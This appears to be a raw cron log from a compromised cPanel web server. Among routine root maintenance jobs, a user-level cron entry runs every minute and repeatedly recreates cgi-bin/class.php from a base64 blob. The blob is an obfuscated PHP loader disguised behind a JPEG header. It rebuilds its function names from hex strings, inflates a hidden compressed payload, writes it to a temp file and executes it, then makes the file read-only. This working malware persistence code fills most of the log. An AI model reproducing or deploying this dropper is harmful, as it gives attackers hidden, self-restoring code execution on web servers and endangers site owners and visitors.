Sep  3 20:53:01 server CROND[18873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:53:01 server CROND[18874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:53:01 server CROND[18875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:54:01 server CROND[19254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:54:01 server CROND[19256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:54:01 server CROND[19255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:55:01 server CROND[19740]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:55:01 server CROND[19742]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:55:01 server CROND[19745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:55:01 server CROND[19746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:55:01 server CROND[19747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:55:01 server CROND[19744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:55:01 server CROND[19751]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:56:01 server CROND[20571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:56:01 server CROND[20573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:56:01 server CROND[20572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:57:01 server CROND[20950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:57:01 server CROND[20949]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:57:01 server CROND[20951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:57:01 server CROND[20952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:58:01 server CROND[21330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:58:01 server CROND[21331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:58:01 server CROND[21332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:59:01 server CROND[21712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:59:01 server CROND[21713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:59:01 server CROND[21714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:00:01 server CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:00:01 server CROND[22200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:00:01 server CROND[22202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:00:01 server CROND[22207]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 21:00:01 server CROND[22206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:00:01 server CROND[22203]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:00:01 server CROND[22204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:00:01 server CROND[22205]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:00:01 server CROND[22201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:01:01 server CROND[23222]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 21:01:01 server CROND[23223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:01:01 server CROND[23221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:01:01 server CROND[23224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:01:01 server run-parts(/etc/cron.hourly)[23222]: starting 0anacron
Sep  3 21:01:01 server run-parts(/etc/cron.hourly)[23244]: finished 0anacron
Sep  3 21:02:01 server CROND[23607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:02:01 server CROND[23608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:02:01 server CROND[23609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:03:01 server CROND[24002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:03:01 server CROND[24004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:03:01 server CROND[24005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:04:01 server CROND[24395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:04:01 server CROND[24396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:04:01 server CROND[24394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:05:01 server CROND[24774]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:05:01 server CROND[24773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
